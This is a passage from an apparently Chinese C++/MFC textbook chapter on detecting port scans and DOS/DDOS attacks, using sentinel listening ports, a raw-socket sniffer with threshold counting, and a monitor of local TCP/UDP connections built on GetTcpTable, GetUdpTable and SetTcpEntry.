m_ctlListResult.InsertColumn(LIST_RESULT_IPSTR,"远端IP",LVCFMT_LEFT,110);

m_ctlListResult.InsertColumn(LIST_RESULT_PORT,"本地Port",LVCFMT_LEFT,80);

//接收到的时间

m_ctlListResult.InsertColumn(LIST_RESULT_TIME,"打开时间",LVCFMT_LEFT,80);

m_ctlListResult.SetExtendedStyle(LVS_EX_FULLROWSELECT|

LVS_EX_GRIDLINES);//单击列表时可以选中一行

m_bListening=TRUE;//在ButtonEnable()中要切换一下，所以设为TRUE

ButtonEnable();

m_bModeTcpUdp=FALSE;

UpdateData(FALSE);

SetTimer(1,1000,NULL);

return TRUE;

}

void CMultiListenDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

if(MessageBox("确实要退出吗？","操作提示",MB_OKCANCEL|

MB_ICONQUESTION|MB_DEFBUTTON2)==IDOK)

{

/*UpdateData(TRUE);

CString strTemp;

strTemp=m_strIP;

WritePrivateProfileString("Init","IP",strTemp,INIFILENAME);

strTemp.Format("%d",m_uPortFrom);

WritePrivateProfileString("Init","PortFrom",strTemp,INIFILENAME);

strTemp.Format("%d",m_uPortTo);

WritePrivateProfileString("Init","PortTo",strTemp,INIFILENAME);*/

OnBUTTONListenStop();

CDialog::OnCancel();

}

}

void CMultiListenDlg::SaveAccept(CString strIP,UINT uPort)

{

CString strTemp;

int iCount=m_ctlListResult.GetItemCount();

strTemp.Format("%d",iCount+1);

m_ctlListResult.InsertItem(iCount,strTemp);//LIST_RESULT_INDEX

m_ctlListResult.SetItemText(iCount,LIST_RESULT_IPSTR,strIP);

strTemp.Format("%d",uPort);

m_ctlListResult.SetItemText(iCount,LIST_RESULT_PORT,strTemp);

CTime time=CTime::GetCurrentTime();

m_ctlListResult.SetItemText(iCount,LIST_RESULT_TIME,time.Format("%H:%M:%S"));

m_ctlListResult.SetItemData(iCount,GetTickCount());

}

void CMultiListenDlg::OnBUTTONClearAll()

{

m_ctlListResult.DeleteAllItems();

}

void CMultiListenDlg::OnBUTTONListenStart()

{

UpdateData(TRUE);

if(m_bListening)

{

m_strComment.Format("所有要监听的哨兵端口已在打开状态。");

}

else

{

for(int i=0;i＜655;i++)

{

if(m_bModeTcpUdp)

{

m_sockListen[i].Create(i*100,SOCK_STREAM);

//m_sockListen[i].Bind(i*100,"127.0.0.1");

m_sockListen[i].Listen(1);

}

else

{

m_sockListen[i].Create(i*100,SOCK_DGRAM);

//m_sockListen[i].Bind(i*100,"127.0.0.1");

}

m_sockListen[i].SetPtr(this);

}

m_strComment.Format("所有要监听的端口均已打开。");

ButtonEnable();

}

UpdateData(FALSE);

}

void CMultiListenDlg::OnBUTTONListenStop()

{

UpdateData(TRUE);

if(m_bListening)

{

for(int i=0;i＜655;i++)

{

m_sockListen[i].ShutDown(2);

m_sockListen[i].Close();

}

m_strComment.Format("所有要监听的端口均已关闭。");

ButtonEnable();

}

else

{

m_strComment.Format("当前各哨兵端口并没有开启。");

}

UpdateData(FALSE);

}

void CMultiListenDlg::ButtonEnable()

{

m_bListening=!m_bListening;//反转一下

if(m_bListening)

{

GetDlgItem(IDC_BUTTON_ListenStart)-＞EnableWindow(FALSE);

GetDlgItem(IDC_BUTTON_ListenStop)-＞EnableWindow(TRUE);

}

else

{

GetDlgItem(IDC_BUTTON_ListenStart)-＞EnableWindow(TRUE);

GetDlgItem(IDC_BUTTON_ListenStop)-＞EnableWindow(FALSE);

}

}

void CMultiListenDlg::OnTimer(UINT nIDEvent)

{

//定时器，一般通过nIDEvent区分不同定时器

switch(nIDEvent)

{

case 1://定时判断是不是有扫描

{

//如果当前不是监听状态，则不处理

if(!m_bListening)

break;

int iCount=m_ctlListResult.GetItemCount();

DWORD tick=GetTickCount();

CStringArray sa;

CUIntArray ua;

for(int i=0;i＜iCount;i++)

{

//10秒以上的不予考虑

if(tick-m_ctlListResult.GetItemData(i)＞10*1000)

continue;

//如果找到，则计数器加1

BOOL bFind=FALSE;

CString strIP=m_ctlListResult.GetItemText(i,LIST_RESULT_IPSTR);

for(int j=0;j＜sa.GetSize();j++)

{

if(sa.GetAt(j)==strIP)

{

UINT uTemp=ua.GetAt(j);

ua.SetAt(j,uTemp+1);

bFind=TRUE;

break;

}

}//for(int j=0;j＜sa.GetSize();j++)

//如果没找到，则增加

if(!bFind)

{

sa.Add(strIP);

ua.Add(1);

}

}//for(int i=0;i＜iCount;i++)

UpdateData(TRUE);

CTime time=CTime::GetCurrentTime();

m_strComment.Format("%s",time.Format("%H:%M:%S"));

BOOL bScan=FALSE;

CString strTemp;

iCount=ua.GetSize();

for(int k=0;k＜iCount;k++)

{

if(ua.GetAt(k)＞3)

{

bScan=TRUE;

strTemp.Format("%s在10秒内连接本机哨兵端口%d次",

sa.GetAt(k),ua.GetAt(k));

m_strComment+=strTemp;

}

}

if(bScan)

m_strComment+="正在扫描本机。";

else

m_strComment+="正常监听中……";

UpdateData(FALSE);

}

break;

default:break;

}

CDialog::OnTimer(nIDEvent);

}




12.4　基于嗅探的端口扫描监测及DDOS拒绝服务监测

嗅探器（Sniffer）可以在不影响原来所有网络程序的情况下进行嗅探，因此完全可以用Sniffer在监测到的IP或端口进行简单的分析，然后得出端口是否被扫描或正在遭受DOS/DDOS攻击的结论。

Sniffer与基于哨兵监测相比，优点是不需要像哨兵监测一样开很多线程。缺点是只是被动监测，并不能给对方一种错误扫描等。

DOS/DDOS攻击是目前网络安全中最难解决的问题之一，其难点在于既要允许“陌生”用户访问，又要从“陌生”用户中找出攻击者，甚至拒绝攻击。这种监测方法如果判断标准过严，会产生大量误判；如果过于宽松，则又会漏过很多的监测。基于嗅探的端口扫描监测能比较有效地发现DOS/DDOS攻击。

基于嗅探的监测方法如下：

❑基于IP的统计方法，同一IP，在一定时段内多次超常规地访问同一端口。

❑考虑到在大部分的DOS/DDOS攻击中，IP地址很多是伪造的。所以如果在一段时间内有很多杂乱的IP访问，也可以初判为是遭到DOS/DDOS攻击。

在本程序中，扫描监测的判断方式是每5秒内有超过10个端口被连接，则可以认为是正被扫描。同时，某一个端口每5秒访问量超过50次，则被判断为遭到一次DOS/DDOS攻击；总访问量超过500次，则判断为遭到一次DOS/DDOS攻击。


 12.4.1　程序主界面

根据上述分析，可以做一个界面，如图12.4所示。
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图　12.4　基于嗅探的扫描监测

主界面分为上、下两个部分，上部分“端口状态”分组用于实时监听当前正在扫描本机的本地端口和连接次数，整个列表每隔5秒被清空一次；下面“状态”分组根据分析得出当前状态。

由于程序的任务重在一些逻辑上的分析，期间不需要用户过多干预，所以程序除了“退出系统”按钮之外，没有其他按钮。程序运行伊始就进入监听状态，每隔5秒将之前的内容清空重新统计，每隔1秒统计一下，当统计到同时有10个以上端口被打开时，则认为发生一次扫描。


12.4.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为MultiListener。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.程序主要代码



BOOL CMultiListenDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

//Windows Socket 2.0的初始化，这项操作在系统初始化过程中

//应尽量优先得到运行，如果初始化不成功，则无法继续运行

WSADATA wsaData;

if(WSAStartup(MAKEWORD(2,1),＆wsaData)!=0)

{

CString strTemp;

strTemp.Format("初始化失败，请重新运行。错误码:%d",GetLastError());

MessageBox(strTemp,"出错提示");

ExitProcess(STATUS_FAILED);//如果失败则退出系统

}

//读取本地IP地址，在创建Socket时，需要绑定本地IP

char sLocalName[64]={0};

//获取本机名

gethostname((char*)sLocalName,sizeof(sLocalName)-1);

//获取本地IP地址

hostent*pHost=gethostbyname(sLocalName);

m_strLocalIP.Format("%s",inet_ntoa(*(struct in_addr*)pHost-＞h_addr_list[0]));

//列表表头的创建

m_ctlListResult.InsertColumn(LIST_RESULT_PROTOCOL,"协议",LVCFMT_LEFT,50);

m_ctlListResult.InsertColumn(LIST_RESULT_PORTLOCAL,

"本地端口",LVCFMT_LEFT,60);

m_ctlListResult.InsertColumn(LIST_RESULT_PORTCOUNT,

"端口计数",LVCFMT_LEFT,60);

m_ctlListResult.InsertColumn(LIST_RESULT_IPLIST,"远端IP",LVCFMT_LEFT,140);

m_ctlListResult.SetExtendedStyle(LVS_EX_FULLROWSELECT|

LVS_EX_GRIDLINES);//单击列表时可以选中一行

//启动线程

ThreadParam.ptr=this;//传递一个当前类的指针

g_bRunning=TRUE;//线程可以运行

AfxBeginThread(ThreadRawReceive,＆ThreadParam,THREAD_PRIORITY_IDLE);

Sleep(500);

g_bDealListCtrl=FALSE;

SetTimer(1,1000,NULL);

SetTimer(2,5000,NULL);

m_strComment="系统初始化成功。";

UpdateData(FALSE);

return TRUE;

}

void CMultiListenDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

if(MessageBox("确实要退出吗？","操作提示",

MB_OKCANCEL|MB_ICONQUESTION|MB_DEFBUTTON2)==IDOK)

{

/*UpdateData(TRUE);

CString strTemp;

strTemp=m_strIP;

WritePrivateProfileString("Init","IP",strTemp,INIFILENAME);

strTemp.Format("%d",m_uPortFrom);

WritePrivateProfileString("Init","PortFrom",strTemp,INIFILENAME);

strTemp.Format("%d",m_uPortTo);

WritePrivateProfileString("Init","PortTo",strTemp,INIFILENAME);*/

CDialog::OnCancel();

}

}

void CMultiListenDlg::OnTimer(UINT nIDEvent)

{

//定时器，一般通过nIDEvent区分不同定时器

switch(nIDEvent)

{

case 1://定时判断是不是有扫描

{

//如果当前不是监听状态，则不处理

if(!g_bRunning)

break;

UpdateData(TRUE);

CString strTemp;

m_strComment="正常监听中……";

int iCount=m_ctlListResult.GetItemCount();

if(iCount＞10)

m_strComment.Format("本机在5秒内有10个以上的端口被连，估计是被扫描。");

DWORD iCountTotal=0,iCountOnce;

for(int i=0;i＜iCount;i++)

{

iCountOnce=m_ctlListResult.GetItemData(i);

if(iCountOnce＞50)

{

strTemp.Format("端口%s在5秒内访问量达50以上，可能遭到了

DDOS攻击。",m_ctlListResult.GetItemText(i,

LIST_RESULT_PORTCOUNT));

m_strComment+=strTemp;

}

iCountTotal+=iCountOnce;

}

if(iCountTotal＞500)

{

strTemp.Format("在5秒内访问量达500以上，可能遭到了\DDOS攻击。");

m_strComment+=strTemp;

}

UpdateData(FALSE);

}

break;

case 2:

//while(g_bDealListCtrl)

//Sleep(1);

//g_bDealListCtrl=TRUE;

m_ctlListResult.DeleteAllItems();

//g_bDealListCtrl=FALSE;

break;

default:break;

}

CDialog::OnTimer(nIDEvent);

}

UINT ThreadRawReceive(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CMultiListenDlg*ptr=threadparam-＞ptr;

CListCtrl*pList=(CListCtrl*)＆ptr-＞m_ctlListResult;

UNIONIP ipLocal,ipTemp;

SOCKET sock;

SOCKADDR_IN addr_local,addr_remote;

int buflen=sizeof(addr_remote);

if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)

{

AfxMessageBox("发送原始套接字Socket设置出错!\n",MB_OK|MB_ICONINFORMATION);

return 1;

}

BOOL flag=TRUE;

if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)＆flag,sizeof(flag))==SOCKET_ERROR)

{

AfxMessageBox("套接字选项IP_HDRINCL出错!\n",MB_OK|MB_ICONINFORMATION);

return 2;

}

int nTimeOver=500;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,

(char*)＆nTimeOver,sizeof(nTimeOver))==SOCKET_ERROR)

{

AfxMessageBox("接收时间溢出设置出错：SO_SNDTIMEO!\n",MB_OK|MB_ICONINFORMATION);

return 3;

}

int localPort=GetPrivateProfileInt("Init","LocalPort",5000,INIFILENAME);

addr_local.sin_family=AF_INET;

addr_local.sin_port=htons(localPort);

addr_local.sin_addr.s_addr=inet_addr(ptr-＞m_strLocalIP);

//addr_local.sin_addr.s_addr=inet_addr("172.16.0.205");

ipLocal.uInt=(UINT)addr_local.sin_addr.s_addr;

if(bind(sock,(PSOCKADDR)＆addr_local,sizeof(addr_local))==SOCKET_ERROR)

{

AfxMessageBox("绑定本地IP端口接收出错，请确认网络连接正确。",

MB_OK|MB_ICONINFORMATION);

return 4;

}

DWORD dwBufferLen[10];

DWORD dwBufferInLen=1;

DWORD dwBytesReturned=0;

if(WSAIoctl(sock,SIO_RCVALL,＆dwBufferInLen,sizeof(dwBufferInLen),＆dwBufferLen,

sizeof(dwBufferLen),＆dwBytesReturned,NULL,NULL)==SOCKET_ERROR)

{

AfxMessageBox("WSAIoctl设置出错。",MB_OK|MB_ICONINFORMATION);

return 5;

}

//CString DispMsg;

UCHAR RecvBuf[MAX_PACK_LEN];

PIP_HEADER pIPHead=(PIP_HEADER)RecvBuf;

int iIPLen=sizeof(IP_HEADER);

PTCP_HEADER pTcpHead=(PTCP_HEADER)(RecvBuf+iIPLen);

PUDP_HEADER pUdpHead=(PUDP_HEADER)pTcpHead;

CString strTemp;

DWORD starttime=GetTickCount();

while(g_bRunning)

{

int ret=recvfrom(sock,(char*)RecvBuf,sizeof(RecvBuf),0,

(LPSOCKADDR)＆addr_remote,＆buflen);

if(ret==SOCKET_ERROR)

continue;

if(pIPHead-＞proto!=6＆＆pIPHead-＞proto!=17)

continue;

ipTemp.uInt=pIPHead-＞destIP;//目的端IP

if(ipTemp.uInt!=ipLocal.uInt)

continue;

while(g_bDealListCtrl)

Sleep(1);

g_bDealListCtrl=TRUE;

int iCount=pList-＞GetItemCount();

CString strProtocol;

CString strLocalPort;

CString strLocalIP;

if(pIPHead-＞proto==6)

{

strProtocol="TCP";

strLocalPort.Format("%d",ntohs(pTcpHead-＞th_dport));

}

else

{

strProtocol="UDP";

strLocalPort.Format("%d",ntohs(pUdpHead-＞uh_dport));

}

ipTemp.uInt=pIPHead-＞sourceIP;

strLocalIP.Format("%d.%d.%d.%d;",ipTemp.ucByte[0],

ipTemp.ucByte[1],ipTemp.ucByte[2],ipTemp.ucByte[3]);

BOOL bInList=FALSE;

for(int i=0;i＜iCount;i++)

{

CString strIPList=pList-＞GetItemText(i,LIST_RESULT_IPLIST);

if(strLocalPort==pList-＞GetItemText(i,LIST_RESULT_PORTLOCAL))

{

if(strIPList.Find(strLocalIP)＜0)

{

strTemp=pList-＞GetItemText(i,LIST_RESULT_IPLIST)+strLocalIP;

pList-＞SetItemText(i,LIST_RESULT_IPLIST,strTemp);

}

DWORD dwCount=pList-＞GetItemData(i)+1;

pList-＞SetItemData(i,dwCount);

strTemp.Format("%d",dwCount);

pList-＞SetItemText(i,LIST_RESULT_PORTCOUNT,strTemp);

bInList=TRUE;

break;

}

}

if(!bInList)

{

pList-＞InsertItem(iCount,strProtocol);//LIST_RESULT_PROTOCOL,

strTemp.Format("%d",ntohs(pTcpHead-＞th_dport));

pList-＞SetItemText(iCount,LIST_RESULT_PORTLOCAL,strTemp);

pList-＞SetItemText(iCount,LIST_RESULT_PORTCOUNT,"1");

pList-＞SetItemText(iCount,LIST_RESULT_IPLIST,strLocalIP);

}

g_bDealListCtrl=FALSE;

}//end of while

shutdown(sock,2);

closesocket(sock);

return 0;

}




12.5　实时监测本地所有TCP/UDP连接及端口

无论是被扫描，还是被连接，甚至已被对方植入了木马，都需要本地有相应的开放端口，因此实时监测本地所有的TCP/UDP端口，也不失为一种监测方式。在Windows操作系统中，提供了一个Netstat命令（该命令在第3章的3.3节“手工扫描”中有详细说明），通过此命令可以一次性实时读取当前主机所有TCP或UDP连接，及其使用的端口。

考虑到要对其中数据进行分析，因此使用Netstat命令不太合适，需要通过编程来完成读取，并将各数据进行处理。要实现这样的程序有四种方法：

❑使用第2章的2.3节“嵌入外部程序”中的方法，将Windows下Netstat命令的执行结果以重定向或管道的方式导入到分析程序中，分析程序对结果进行语法分析，然后将结果显示出来。这种方式直观、快捷，但由于缺乏可定制性，因此这里不讲。

❑如果本机或检测的主机上装了SNMP协议，可以通过第5章“SNMP扫描器的设计”中的扫描器，就可以监测本机或指定IP主机上的TCP/UDP端口。该方法最大的优点就是不仅可以实时监测本机，还能监测远端主机的TCP/UDP端口。缺点就是采用此方式需要所监测的主机本身安装有SNMP代理程序，这一限制使其优势大打折扣，故这里也不使用。

❑使用操作系统提供的API函数，在Windows Socket 2中提供了GetTcpTable、GetUdpTable、SetTcpEntry三个函数，可以分别读取“TCP连接本地和远端端口”、“UDP本地端口”和“设置断开TCP本地连接”的操作。

❑通过钩子（hook）技术，获得Windows未公开的一些函数，同样可达到GetTcpTable和GetUdpTable所能达到的效果，并且还可以获得程序的ID，而由程序的ID可以读取程序的名称，从而可知是哪个程序在使用该连接。

鉴于以上分析，本节同时采用后两种方式制作一个本地TCP/UDP连接及绑定端口的实时监测系统。


 12.5.1　程序主界面

根据上述分析，可以做一个界面，如图12.5所示。
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图　12.5　本地TCP/UDP连接实时扫描监测器

主界面分为上、下两个部分，上半部分是“当前TCP/UDP连接映像表”分组，列出了当前系统中所有的TCP和UDP连接，以及每一个连接本地和远端的端口，由于系统采用了定时器操作，所以每隔5秒钟会自动刷新一下。

下面“系统操作”分组主要包括几个功能按钮，其中，单击“API读取”按钮，系统会通过GetTcpTable或GetUdpTable函数进行读取，并在此后以此函数方式每隔5秒读取一次。单击“Hook读取”按钮，系统会通过钩子方式进行读取，并在此后以此函数方式每隔5秒读取一次。二者的差别在于，后者由于可以读到程序ID，因此可以判断出哪个程序在使用该连接。“结束线程”按钮用于结束“当前TCP/UDP连接映像表”列表中协议是"TCP"的某些连接，该操作并不总是有效，因为有些进程是系统进程，不允许关闭。“退出系统”按钮用于退出系统。


12.5.2　结构与函数API

虽然本例作用了“API方式”和“钩子方式”两种完全独立的方式对本地所有TCP/UDP连接及端口进行监测（严格地讲，钩子方式所“钩”（hook）的函数也是API函数），但由于钩子技术所使用的都是Windows未公开的一些函数，所以本处不再介绍。以下内容主要介绍操作系统提供的GetTcpTable、GetUdpTable、SetTcpEntry三个API函数。

12.5.2.1　GetTcpTable函数



DWORD GetTcpTable(

PMIB_TCPTABLE pTcpTable,//用于指向一具连接结构的指针

PDWORD pdwSize,//缓冲区的大小

BOOL bOrder//读取的内容是否排序

);



GetTcpTable函数返回当前本地TCP连接表。该函数的调用看似简单，实际使用中却有很多需要注意的事项，首先PMIB_TCPTABLE结构所指向的MIB_TCPTABLE结构的长度是固定的，可以通过sizeof(MIB_TCPTABLE)获得，但由于在实际值填入的时候，要填入的值存在动态申请内存的现象，所以缓冲区的长度pdwSize填入sizeof(MIB_TCPTABLE)并不总是有效的，常常会因为过小而导致调用出错。其次要注意的是，pTcpTable虽然是一个PMIB_TCPTABLE结构指针，但本函数并不完成返回内容的内存申请，因此pTcpTable在调用之前，必须是指向一个实在的缓冲区，而不是只传一个指针。

因此GetTcpTable有两种调用方法，一种是在调用前预申请一个足够大的内存，以确保读取的值够用；另一种方法是先将长度预设一个很小的值或者是0，调用此函数一次，虽然调用会出错，但调用后函数会通过pdwSize返回实际使用中所需要的长度，然后用这个长度再调用一次。两种方式的优劣不言而喻，前者只需要调用一次，后者需要调用两次；前者造成内存的浪费，并且一旦次操作超越上限将导致程序无法使用，由于TCP/UDP连接是动态的，如果后者两次调用间隔较长，有可能会在间隔期间，长度发生了变化。本书采用前者。

返回值：如果调用成功，返回NO_ERROR；如果调用失败，则可以通过FormatMessage获得错误的字符串描述信息。

参数如下：

❑pTcpTable：指向一个MIB_TCPTABLE结构，该结构保存了所有的TCP连接。

❑pdwSize：保存MIB_TCPTABLE结构的长度。如果最初用户设置的缓冲区长度太小，则函数会返回给实际所需的长度。

❑bOrder：查找的结果是否需要排一下顺序，如果是TRUE，则按顺序读取；如果是FALSE，则按查找时读到的顺序读取。由于查到的结果字段较多，并且记录中某一字段可能出现重复，所以当按某一字段排序出现重复的时候，则按另一字段进行排序，各字段的排序优先级由高到低依次为“本地IP、本地端口、远端IP、远端端口”。

函数中，有一个MIB_TCPTABLE结构，结构定义如下：



typedef struct_MIB_TCPTABLE{

DWORD dwNumEntries;//表中有效数据的个数

MIB_TCPROW table[ANY_SIZE];//TCP连接的数组

}MIB_TCPTABLE,*PMIB_TCPTABLE;



结构成员如下：

❑dwNumEntries：指出TCP表实体项的个数。

❑table[ANY_SIZE]：一个由MIB_TCPROW结构组成的TCP连接的数组。

同样，在MIB_TCPTABLE结构中，又出现一个MIB_TCPROW结构，该结构的定义如下：



typedef struct_MIB_TCPROW{

DWORD dwState;//连接的状态

DWORD dwLocalAddr;//本地计算机的IP地址

DWORD dwLocalPort;//本地计算机的端口值

DWORD dwRemoteAddr;//远端计算机的IP地址

DWORD dwRemotePort;//远端计算机的端口值

}MIB_TCPROW,*PMIB_TCPROW;



结构成员如下：

❑dwState：TCP连接的状态，成员可以有如下几种值之一：
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❑dwLocalAddr：当前连接中，本地的IP地址。以网络字节顺序保存。

❑dwLocalPort：当前连接中，本地的端口地址。以网络字节顺序保存。

❑dwRemoteAddr：当前连接中，远端的IP地址。以网络字节顺序保存。

❑dwRemotePort：当前连接中，远端的端口地址。以网络字节顺序保存。

12.5.2.2　GetUdpTable函数



DWORD GetUdpTable(

PMIB_UDPTABLE pUdpTable,

PDWORD pdwSize,

BOOL bOrder

);



GetUdpTable函数返回当前本地UDP连接表。该函数在实际使用中，也有类似于GetTcpTable的调用问题，具体描述细看参见12.5.2.1节。本书同样采用预设较大内存来存储将来读取的连接。另外，UDP协议本身是“面向无连接”的协议，所以UDP并不知道对方是谁，但只是为了说法上的统一，下面仍用“连接”这个词来说明。

返回值和参数类似于12.5.2.1节。

函数中，有一个MIB_UDPTABLE结构，结构定义如下：



typedef struct_MIB_UDPTABLE{

DWORD dwNumEntries;

MIB_UDPROW table[ANY_SIZE];

}MIB_UDPTABLE,*PMIB_UDPTABLE;



结构成员如下：

❑dwNumEntries：指出UDP表实体项的个数。

❑table[ANY_SIZE]：一个由MIB_UDPROW结构组成的UDP连接的数组。

同样，在MIB_UDPTABLE结构中，又出现一个MIB_UDPROW结构，该结构的定义如下：



typedef struct_MIB_UDPROW{

DWORD dwLocalAddr;

DWORD dwLocalPort;

}MIB_UDPROW,*PMIB_UDPROW;



结构成员如下：

❑dwLocalAddr：当前UDP使用的本地IP地址。以网络字节顺序保存的。

❑dwLocalPort：当前UDP使用的本地端口地址。以网络字节顺序保存的。

12.5.2.3　GetTcpEntry函数



DWORD SetTcpEntry(

PMIB_TCPROW pTcpRow

);



SetTcpEntry函数设置一个TCP连接的状态。当前版本下，系统唯一能设置的状态就是MIB_TCP_STATE_DELETE_TCB，即删除当前连接。

返回值同12.5.2.1节。

参数pTcpRow指向一个MIB_TCPROW结构的指针，该结构说明参见12.5.2.1节。该结构指出要修改的信息所代表的本地IP、本地Port、远端IP、远端Port等信息以及要修改的状态。即使只修改状态，也要把其他各项都填充好。


12.5.3　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为Sniffer_NetStat。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.在文件的前面加入必要的声明、定义



#include"Iphlpapi.h"

#include＜tlhelp32.h＞

#define LOCALSETFILENAME".\\NetStatSniffer.ini"

#pragma comment(lib,"Iphlpapi.lib")

#define LIST_RECEIVE_INDEX 0

#define LIST_RECEIVE_PROTOCOL 1

#define LIST_RECEIVE_IP1 2

#define LIST_RECEIVE_PORT1 3

#define LIST_RECEIVE_IP2 4

#define LIST_RECEIVE_PORT2 5

#define LIST_RECEIVE_STATE 6

#define LIST_RECEIVE_PROGRAM 7

#define MAXTABLELEN(40*1000)

typedef struct

{

DWORD dwState;

DWORD dwLocalAddr;

DWORD dwLocalPort;

DWORD dwRemoteAddr;

DWORD dwRemotePort;

DWORD dwProcessId;

}MIB_TCPEXROW,*PMIB_TCPEXROW;

typedef struct

{

DWORD

dwNumEntries;

MIB_TCPEXROW table[ANY_SIZE];

}MIB_TCPEXTABLE,*PMIB_TCPEXTABLE;

typedef struct

{

DWORD dwLocalAddr;

DWORD dwLocalPort;

DWORD dwProcessId;

}MIB_UDPEXROW,*PMIB_UDPEXROW;

typedef struct

{

DWORD

dwNumEntries;

MIB_UDPEXROW table[ANY_SIZE];

}MIB_UDPEXTABLE,*PMIB_UDPEXTABLE;

typedef DWORD(WINAPI*PFNAllocateAndGetTcpExTableFromStack)

(PMIB_TCPEXTABLE*pTcpTable,BOOL bOrder,HANDLE heap,DWORD zero,DWORD flags);

typedef DWORD(WINAPI*PFNAllocateAndGetUdpExTableFromStack)

(PMIB_UDPEXTABLE*pUdpTable,BOOL bOrder,HANDLE heap,DWORD zero,DWORD flags);



3.程序主要代码



BOOL CSnifferDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

m_ctlListReceive.InsertColumn(LIST_RECEIVE_INDEX,"序号",LVCFMT_LEFT,60);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_PROTOCOL,"协议",LVCFMT_LEFT,60);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_IP1,"源IP",LVCFMT_LEFT,100);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_PORT1,"源PORT",LVCFMT_LEFT,50);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_IP2,"目IP",LVCFMT_LEFT,100);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_PORT2,"目PORT",LVCFMT_LEFT,50);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_STATE,"状态",LVCFMT_LEFT,80);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_PROGRAM,

"使用的程序",LVCFMT_LEFT,210);

m_ctlListReceive.SetExtendedStyle(LVS_EX_FULLROWSELECT|

LVS_EX_GRIDLINES);

m_strComment="可以读取了。";

m_iNetStatMode=GetPrivateProfileInt("Init","Mode",0,LOCALSETFILENAME);

if(m_iNetStatMode＜0||m_iNetStatMode＞1)

m_iNetStatMode=0;

UpdateData(FALSE);

int iTimer=GetPrivateProfileInt("Init","Timer",5000,LOCALSETFILENAME);

if(iTimer＜500)

iTimer=5000;

SetTimer(1,iTimer,NULL);

return TRUE;

}

void CSnifferDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

if(MessageBox("确实要退出吗?","退出系统",

MB_OKCANCEL|MB_DEFBUTTON2|MB_ICONQUESTION)==IDOK)

{

CString strTemp;

strTemp.Format("%d",m_iNetStatMode);

WritePrivateProfileString("Init","Mode",strTemp,LOCALSETFILENAME);

KillTimer(1);

CDialog::OnCancel();

}

}

CString CSnifferDlg::GetStateString(DWORD dwState)

{

CString strState;

switch(dwState)

{

case MIB_TCP_STATE_CLOSED:strState="CLOSED";break;

case MIB_TCP_STATE_TIME_WAIT:strState="TIME_WAIT";break;

case MIB_TCP_STATE_LAST_ACK:strState="LAST_ACK";break;

case MIB_TCP_STATE_CLOSING:strState="CLOSING";break;

case MIB_TCP_STATE_CLOSE_WAIT:strState="CLOSE_WAIT";break;

case MIB_TCP_STATE_FIN_WAIT1:strState="FIN_WAIT1";break;

case MIB_TCP_STATE_ESTAB:strState="ESTABLISH";break;

case MIB_TCP_STATE_SYN_RCVD:strState="SYN_RCVD";break;

case MIB_TCP_STATE_SYN_SENT:strState="SYN_SENT";break;

case MIB_TCP_STATE_LISTEN:strState="LISTEN";break;

case MIB_TCP_STATE_DELETE_TCB:strState="DELETE";break;

default:strState="ERROR";break;

}

return strState;

}

int CSnifferDlg::AddToList(CString strProtocol,PMIB_TCPROW pRow,DWORD dwProcessId)

{

CString strTemp;

int iCount=m_ctlListReceive.GetItemCount();

strTemp.Format("%d",iCount+1);

m_ctlListReceive.InsertItem(iCount,strTemp);//LIST_RECEIVE_INDEX

m_ctlListReceive.SetItemText(iCount,LIST_RECEIVE_PROTOCOL,strProtocol);

m_ctlListReceive.SetItemText(iCount,LIST_RECEIVE_IP1,

IPIntToStr(pRow-＞dwLocalAddr));

strTemp.Format("%d",ntohs((USHORT)pRow-＞dwLocalPort));

m_ctlListReceive.SetItemText(iCount,LIST_RECEIVE_PORT1,strTemp);

if(strProtocol=="TCP")

{

m_ctlListReceive.SetItemText(iCount,LIST_RECEIVE_IP2,

IPIntToStr(pRow-＞dwRemoteAddr));

if(pRow-＞dwState==MIB_TCP_STATE_LISTEN)

strTemp.Format("0");

else

strTemp.Format("%d",ntohs((USHORT)pRow-＞dwRemotePort));

m_ctlListReceive.SetItemText(iCount,LIST_RECEIVE_PORT2,strTemp);

m_ctlListReceive.SetItemText(iCount,LIST_RECEIVE_STATE,

GetStateString(pRow-＞dwState));

}

else

{

m_ctlListReceive.SetItemText(iCount,LIST_RECEIVE_IP2,"*.*.*.*");

m_ctlListReceive.SetItemText(iCount,LIST_RECEIVE_PORT2,"*");

m_ctlListReceive.SetItemText(iCount,LIST_RECEIVE_STATE,"---");

}

if(dwProcessId!=0xFFFFFFFF)

{

CString strProgram="???";

if(m_hProcessSnap!=INVALID_HANDLE_VALUE)

{

PROCESSENTRY32 processEntry;

processEntry.dwSize=sizeof(processEntry);

if(::Process32First(m_hProcessSnap,＆processEntry))

{

do

{

if(processEntry.th32ProcessID==dwProcessId)

{

strProgram.Format("%s",processEntry.szExeFile);

break;

}

}while(::Process32Next(m_hProcessSnap,＆processEntry));

}

}

m_ctlListReceive.SetItemText(iCount,LIST_RECEIVE_PROGRAM,strProgram);

}

return iCount+1;

}

void CSnifferDlg::GetLastErrMsg(DWORD dwRet)

{

if(dwRet==NO_ERROR)

return;

TCHAR*buffer;

::FormatMessage(

FORMAT_MESSAGE_ALLOCATE_BUFFER|

FORMAT_MESSAGE_FROM_SYSTEM,

NULL,dwRet,0,(LPTSTR)＆buffer,0,NULL);

::MessageBox(NULL,buffer,NULL,0);

LocalFree(buffer);

